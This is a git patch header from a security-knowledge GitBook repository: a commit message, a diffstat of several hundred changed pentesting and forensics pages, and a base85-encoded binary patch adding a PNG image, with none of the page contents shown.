From ddf8210cf7c8b5d7469d130f3bffb7ec087b1712 Mon Sep 17 00:00:00 2001 From: CPol Date: Tue, 30 Nov 2021 16:46:07 +0000 Subject: [PATCH] GitBook: [#2876] save --- .gitbook/assets/image (630) (1).png | Bin 0 -> 179389 bytes .gitbook/assets/image (630).png | Bin 179389 -> 5268 bytes README.md | 8 +- .../bra.i.nsmasher-presentation/README.md | 10 +- .../basic-bruteforcer.md | 2 +- about-the-author.md | 18 +- android-forensics.md | 4 +- backdoors/salseo.md | 20 +- .../blockchain-and-crypto-currencies.md | 58 ++-- burp-suite.md | 10 +- cloud-security/aws-security.md | 230 +++++++-------- cloud-security/cloud-security-review.md | 15 +- cloud-security/gcp-security/README.md | 42 +-- ...ts-brute-force-and-privilege-escalation.md | 2 +- .../gcp-security/gcp-compute-enumeration.md | 4 +- .../gcp-interesting-permissions.md | 14 +- ...local-privilege-escalation-ssh-pivoting.md | 16 +- .../basic-github-information.md | 13 + ...d-elearnsecurity-certifications-reviews.md | 28 +- cryptography/certificates.md | 20 +- .../cipher-block-chaining-cbc-mac-priv.md | 18 +- cryptography/hash-length-extension-attack.md | 4 +- .../try-hack-me/hc0n-christmas-ctf-2019.md | 4 +- ctf-write-ups/try-hack-me/pickle-rick.md | 6 +- emails-vulns.md | 12 +- .../bypassing-canary-and-pie.md | 22 +- .../rop-leaking-libc-address/README.md | 46 +-- .../rop-leaking-libc-template.md | 2 +- .../rop-syscall-execv.md | 8 +- exploiting/tools/README.md | 36 +-- exploiting/tools/pwntools.md | 68 ++--- ...windows-exploiting-basic-guide-oscp-lvl.md | 8 +- .../basic-forensic-methodology/README.md | 8 +- .../anti-forensic-techniques.md | 12 +- .../docker-forensics.md | 10 +- .../image-adquisition-and-mount.md | 2 +- .../linux-forensics.md | 52 ++-- .../malware-analysis.md | 22 +- .../memory-dump-analysis/README.md | 4 +- .../volatility-examples.md | 22 +- .../partitions-file-systems-carving/README.md | 84 +++--- .../partitions-file-systems-carving/ext.md | 24 +- .../file-data-carving-recovery-tools.md | 18 +- .../partitions-file-systems-carving/ntfs.md | 72 ++--- .../pcap-inspection/README.md | 12 +- .../pcap-inspection/dnscat-exfiltration.md | 2 +- .../pcap-inspection/wifi-pcap-analysis.md | 4 +- .../pcap-inspection/wireshark-tricks.md | 12 +- .../.pyc.md | 22 +- .../browser-artifacts.md | 90 +++--- .../local-cloud-storage.md | 32 +- .../office-file-analysis.md | 8 +- .../windows-forensics/README.md | 22 +- .../interesting-windows-registry-keys.md | 12 +- .../windows-forensics/windows-processes.md | 4 +- interesting-http.md | 2 +- linux-unix/linux-environment-variables.md | 2 +- .../linux-privilege-escalation-checklist.md | 64 ++-- .../containerd-ctr-privilege-escalation.md | 4 +- ...-command-injection-privilege-escalation.md | 26 +- .../docker-breakout/README.md | 20 +- .../docker-breakout/apparmor.md | 12 +- ...uthn-docker-access-authorization-plugin.md | 20 +- .../docker-breakout/seccomp.md | 10 +- .../escaping-from-limited-bash.md | 8 +- .../interesting-groups-linux-pe/README.md | 30 +- .../lxd-privilege-escalation.md | 4 +- .../ld.so.conf-example.md | 24 +- .../linux-active-directory.md | 8 +- linux-unix/privilege-escalation/logstash.md | 4 +- .../nfs-no_root_squash-misconfiguration-pe.md | 24 +- .../runc-privilege-escalation.md | 2 +- .../socket-command-injection.md | 4 +- .../splunk-lpe-and-persistence.md | 24 +- .../ssh-forward-agent-exploitation.md | 8 +- .../wildcards-spare-tricks.md | 6 +- .../bypass-bash-restrictions.md | 2 +- .../README.md | 48 +-- .../mac-os-architecture.md | 26 +- ...s-apps-inspecting-debugging-and-fuzzing.md | 36 +-- .../macos-mdm/README.md | 10 +- ...nrolling-devices-in-other-organisations.md | 14 +- .../macos-protocols.md | 6 +- .../macos-red-teaming.md | 4 +- .../bypass-python-sandboxes/README.md | 28 +- misc/basic-python/magic-methods.md | 16 +- .../android-app-pentesting/README.md | 16 +- .../android-app-pentesting/adb-commands.md | 8 +- .../android-applications-basics.md | 44 +-- .../android-burp-suite-settings.md | 6 +- .../android-task-hijacking.md | 4 +- .../android-app-pentesting/apk-decompilers.md | 10 +- .../avd-android-virtual-device.md | 28 +- .../content-protocol.md | 6 +- .../exploiting-content-providers.md | 26 +- .../exploiting-a-debuggeable-applciation.md | 2 +- .../frida-tutorial/README.md | 6 +- .../frida-tutorial/frida-tutorial-1.md | 2 +- .../frida-tutorial/owaspuncrackable-1.md | 10 +- .../google-ctf-2018-shall-we-play-a-game.md | 4 +- .../inspeckage-tutorial.md | 12 +- .../intent-injection.md | 10 +- .../make-apk-accept-ca-certificate.md | 4 +- .../react-native-application.md | 4 +- .../android-app-pentesting/smali-changes.md | 4 +- .../spoofing-your-location-in-play-store.md | 2 +- .../android-app-pentesting/webview-attacks.md | 20 +- mobile-apps-pentesting/android-checklist.md | 10 +- .../ios-pentesting-checklist.md | 18 +- .../basic-ios-testing-operations.md | 22 +- .../burp-configuration-for-ios.md | 6 +- ...-entitlements-from-compiled-application.md | 2 +- .../frida-configuration-in-ios.md | 4 +- .../ios-pentesting/ios-app-extensions.md | 10 +- .../ios-pentesting/ios-basics.md | 24 +- ...m-uri-handlers-deeplinks-custom-schemes.md | 12 +- .../ios-serialisation-and-encoding.md | 8 +- .../ios-pentesting/ios-testing-environment.md | 16 +- .../ios-pentesting/ios-uiactivity-sharing.md | 8 +- .../ios-pentesting/ios-uipasteboard.md | 8 +- .../ios-pentesting/ios-universal-links.md | 8 +- .../ios-pentesting/ios-webviews.md | 12 +- other-web-tricks.md | 4 +- pentesting-web/bypass-payment-process.md | 6 +- pentesting-web/cache-deception.md | 24 +- pentesting-web/captcha-bypass.md | 10 +- pentesting-web/clickjacking.md | 24 +- .../client-side-template-injection-csti.md | 12 +- .../content-security-policy-csp-bypass.md | 26 +- pentesting-web/cors-bypass.md | 68 ++++- pentesting-web/crlf-0d-0a.md | 4 +- .../cross-site-websocket-hijacking-cswsh.md | 14 +- .../csrf-cross-site-request-forgery.md | 70 ++++- pentesting-web/deserialization/README.md | 104 +++---- ...er-gadgets-expandedwrapper-and-json.net.md | 22 +- ...ialization-objectinputstream-readobject.md | 8 +- ...ploiting-__viewstate-knowing-the-secret.md | 44 +-- .../exploiting-__viewstate-parameter.md | 34 +-- ...ava-dns-deserialization-and-gadgetprobe.md | 30 +- ...ava-transformers-to-rutime-exec-payload.md | 8 +- .../README.md | 20 +- .../client-side-prototype-pollution.md | 6 +- .../python-yaml-deserialization.md | 4 +- pentesting-web/email-header-injection.md | 2 +- .../file-inclusion/phar-deserialization.md | 8 +- pentesting-web/file-upload/README.md | 4 +- pentesting-web/formula-injection.md | 6 +- pentesting-web/h2c-smuggling.md | 12 +- pentesting-web/hacking-jwt-json-web-tokens.md | 22 +- pentesting-web/hacking-with-cookies/README.md | 22 +- .../hacking-with-cookies/cookie-bomb.md | 2 +- .../cookie-jar-overflow.md | 2 +- .../hacking-with-cookies/cookie-tossing.md | 12 +- .../http-request-smuggling/README.md | 52 ++-- .../request-smuggling-in-http-2-downgrades.md | 10 +- .../http-response-smuggling-desync.md | 14 +- pentesting-web/idor.md | 28 +- pentesting-web/login-bypass/README.md | 6 +- .../login-bypass/sql-login-bypass.md | 2 +- pentesting-web/oauth-to-account-takeover.md | 237 +++++++-------- pentesting-web/parameter-pollution.md | 8 +- .../pocs-and-polygloths-cheatsheet/README.md | 2 +- pentesting-web/postmessage-vulnerabilities.md | 36 +-- pentesting-web/race-condition.md | 18 +- ...ular-expression-denial-of-service-redos.md | 12 +- pentesting-web/reverse-tab-nabbing.md | 12 +- pentesting-web/saml-attacks/saml-basics.md | 2 +- ...inclusion-edge-side-inclusion-injection.md | 4 +- pentesting-web/sql-injection/README.md | 2 +- .../sql-injection/mssql-injection.md | 30 +- .../sql-injection/mysql-injection/README.md | 14 +- .../mysql-injection/mysql-ssrf.md | 6 +- .../sql-injection/oracle-injection.md | 52 ++-- .../postgresql-injection/README.md | 10 +- .../big-binary-files-upload-postgresql.md | 20 +- .../dblink-lo_import-data-exfiltration.md | 20 +- ...and-ntlm-chanllenge-response-disclosure.md | 14 +- .../pl-pgsql-password-bruteforce.md | 6 +- .../rce-with-postgresql-extensions.md | 22 +- pentesting-web/sql-injection/sqlmap/README.md | 6 +- .../sqlmap/second-order-injection-sqlmap.md | 4 +- .../ssrf-server-side-request-forgery.md | 120 ++++---- .../el-expression-language.md | 6 +- .../unicode-normalization-vulnerability.md | 16 +- .../web-vulnerabilities-methodology.md | 2 +- pentesting-web/xs-search.md | 42 +-- .../xss-cross-site-scripting/README.md | 6 +- .../xss-cross-site-scripting/dom-xss.md | 30 +- .../other-js-tricks.md | 6 +- .../xss-cross-site-scripting/pdf-injection.md | 170 +++++------ .../server-side-xss-dynamic-pdf.md | 4 +- .../xssi-cross-site-script-inclusion.md | 6 +- pentesting-web/xxe-xee-xml-external-entity.md | 18 +- pentesting/11211-memcache.md | 10 +- pentesting/135-pentesting-msrpc.md | 12 +- ...le-pentesting-requirements-installation.md | 2 +- .../remote-stealth-pass-brute-force.md | 10 +- .../15672-pentesting-rabbitmq-management.md | 4 +- pentesting/1883-pentesting-mqtt-mosquitto.md | 8 +- pentesting/2375-pentesting-docker.md | 12 +- pentesting/27017-27018-mongodb.md | 2 +- pentesting/3632-pentesting-distcc.md | 4 +- .../3690-pentesting-subversion-svn-server.md | 2 +- ...ntesting-erlang-port-mapper-daemon-epmd.md | 4 +- pentesting/44818-ethernetip.md | 2 +- pentesting/5000-pentesting-docker-registry.md | 24 +- ...060-50070-50075-50090-pentesting-hadoop.md | 2 +- pentesting/512-pentesting-rexec.md | 2 +- .../515-pentesting-line-printer-daemon-lpd.md | 4 +- pentesting/5353-udp-multicast-dns-mdns.md | 2 +- pentesting/554-8554-pentesting-rtsp.md | 8 +- pentesting/5601-pentesting-kibana.md | 6 +- pentesting/5671-5672-pentesting-amqp.md | 4 +- pentesting/584-pentesting-afp.md | 2 +- pentesting/623-udp-ipmi.md | 24 +- pentesting/69-udp-tftp.md | 4 +- pentesting/7-tcp-udp-pentesting-echo.md | 4 +- pentesting/8086-pentesting-influxdb.md | 8 +- pentesting/8089-splunkd.md | 4 +- pentesting/873-pentesting-rsync.md | 12 +- pentesting/9000-pentesting-fastcgi.md | 4 +- pentesting/9100-pjl.md | 2 +- pentesting/9200-pentesting-elasticsearch.md | 72 ++--- .../pentesting-ftp/ftp-bounce-attack.md | 8 +- pentesting/pentesting-irc.md | 8 +- ...entesting-jdwp-java-debug-wire-protocol.md | 4 +- .../harvesting-tickets-from-linux.md | 14 +- .../harvesting-tickets-from-windows.md | 2 +- pentesting/pentesting-kubernetes/README.md | 36 +-- .../hardening-roles-clusterroles.md | 56 ++-- pentesting/pentesting-modbus.md | 2 +- pentesting/pentesting-network/README.md | 8 +- pentesting/pentesting-network/ids-evasion.md | 8 +- .../pentesting-network/pentesting-ipv6.md | 8 +- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 38 +-- .../spoofing-ssdp-and-upnp-devices.md | 26 +- .../pentesting-network/wifi-attacks/README.md | 114 +++---- .../wifi-attacks/evil-twin-eap-tls.md | 24 +- pentesting/pentesting-printers/README.md | 68 ++--- .../pentesting-printers/accounting-bypass.md | 12 +- .../pentesting-printers/buffer-overflows.md | 8 +- .../credentials-disclosure-brute-force.md | 10 +- .../cross-site-printing.md | 10 +- .../document-processing.md | 4 +- .../pentesting-printers/factory-defaults.md | 14 +- .../pentesting-printers/file-system-access.md | 4 +- .../pentesting-printers/memory-access.md | 6 +- .../pentesting-printers/physical-damage.md | 4 +- .../print-job-manipulation.md | 14 +- .../print-job-retention.md | 6 +- .../transmission-channel.md | 4 +- pentesting/pentesting-remote-gdbserver.md | 4 +- pentesting/pentesting-rlogin.md | 4 +- pentesting/pentesting-rsh.md | 2 +- pentesting/pentesting-smtp/smtp-commands.md | 2 +- pentesting/pentesting-vnc.md | 6 +- .../pentesting-web/403-and-401-bypasses.md | 6 +- .../artifactory-hacking-guide.md | 44 +-- .../buckets/firebase-database.md | 10 +- pentesting/pentesting-web/drupal.md | 6 +- pentesting/pentesting-web/flask.md | 6 +- .../pentesting-web/h2-java-sql-database.md | 4 +- pentesting/pentesting-web/jboss.md | 6 +- pentesting/pentesting-web/jenkins.md | 14 +- pentesting/pentesting-web/jira.md | 6 +- pentesting/pentesting-web/moodle.md | 6 +- pentesting/pentesting-web/nginx.md | 32 +- .../pentesting-web/php-tricks-esp/README.md | 34 +-- .../README.md | 278 +++++++++--------- .../disable_functions-bypass-dl-function.md | 14 +- .../pentesting-web/put-method-webdav.md | 24 +- .../pentesting-web/special-http-headers.md | 28 +- pentesting/pentesting-web/spring-actuators.md | 8 +- pentesting/pentesting-web/symphony.md | 62 ++-- .../pentesting-web/uncovering-cloudflare.md | 4 +- .../pentesting-web/web-api-pentesting.md | 34 +-- pentesting/pentesting-web/wordpress.md | 50 ++-- phishing-methodology/README.md | 4 +- phishing-methodology/phishing-documents.md | 2 +- .../escaping-from-gui-applications/README.md | 54 ++-- .../show-file-extensions.md | 2 +- post-exploitation.md | 2 +- reversing/common-api-used-in-malware.md | 4 +- reversing/cryptographic-algorithms/README.md | 22 +- .../unpacking-binaries.md | 10 +- .../reversing-tools-basic-methods/README.md | 64 ++-- .../angr/angr-examples.md | 8 +- .../cheat-engine.md | 36 +-- .../satisfiability-modulo-theories-smt-z3.md | 4 +- reversing/word-macros.md | 2 +- search-exploits.md | 4 +- shells/shells/linux.md | 4 +- ...itive-information-disclosure-from-a-web.md | 2 +- .../active-directory-methodology/README.md | 10 +- .../acl-persistence-abuse.md | 28 +- .../ad-information-in-printers.md | 10 +- .../asreproast.md | 10 +- .../bloodhound.md | 10 +- .../constrained-delegation.md | 12 +- .../custom-ssp.md | 4 +- .../active-directory-methodology/dcshadow.md | 14 +- .../dsrm-credentials.md | 4 +- .../golden-ticket.md | 6 +- .../kerberoast.md | 8 +- .../kerberos-authentication.md | 64 ++-- .../mssql-trusted-links.md | 8 +- .../over-pass-the-hash-pass-the-key.md | 4 +- .../printers-spooler-service-abuse.md | 6 +- ...rivileged-accounts-and-token-privileges.md | 54 ++-- .../resource-based-constrained-delegation.md | 32 +- .../security-descriptors.md | 8 +- .../skeleton-key.md | 12 +- .../unconstrained-delegation.md | 10 +- .../authentication-credentials-uac-and-efs.md | 78 ++--- windows/av-bypass.md | 16 +- .../checklist-windows-privilege-escalation.md | 46 +-- windows/ntlm/README.md | 52 ++-- windows/ntlm/smbexec.md | 10 +- windows/ntlm/winrm.md | 2 +- windows/stealing-credentials/README.md | 46 +-- .../credentials-mimikatz.md | 8 +- .../credentials-protections.md | 32 +- .../README.md | 164 +++++------ .../access-tokens.md | 16 +- .../acls-dacls-sacls-aces.md | 16 +- ...ectory-permission-over-service-registry.md | 16 +- .../create-msi-with-wix.md | 4 +- .../dll-hijacking.md | 32 +- .../dpapi-extracting-passwords.md | 6 +- .../integrity-levels.md | 20 +- .../leaked-handle-exploitation.md | 8 +- .../msi-wrapper.md | 4 +- .../named-pipe-client-impersonation.md | 6 +- .../privilege-escalation-abusing-tokens.md | 22 +- .../seimpersonate-from-high-to-system.md | 2 +- 335 files changed, 3301 insertions(+), 3216 deletions(-) create mode 100644 .gitbook/assets/image (630) (1).png diff --git a/.gitbook/assets/image (630) (1).png b/.gitbook/assets/image (630) (1).png new file mode 100644 index 0000000000000000000000000000000000000000..1065c7b8297611a5ada6a9a3c39e8d35216c1944 GIT binary patch literal 179389 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 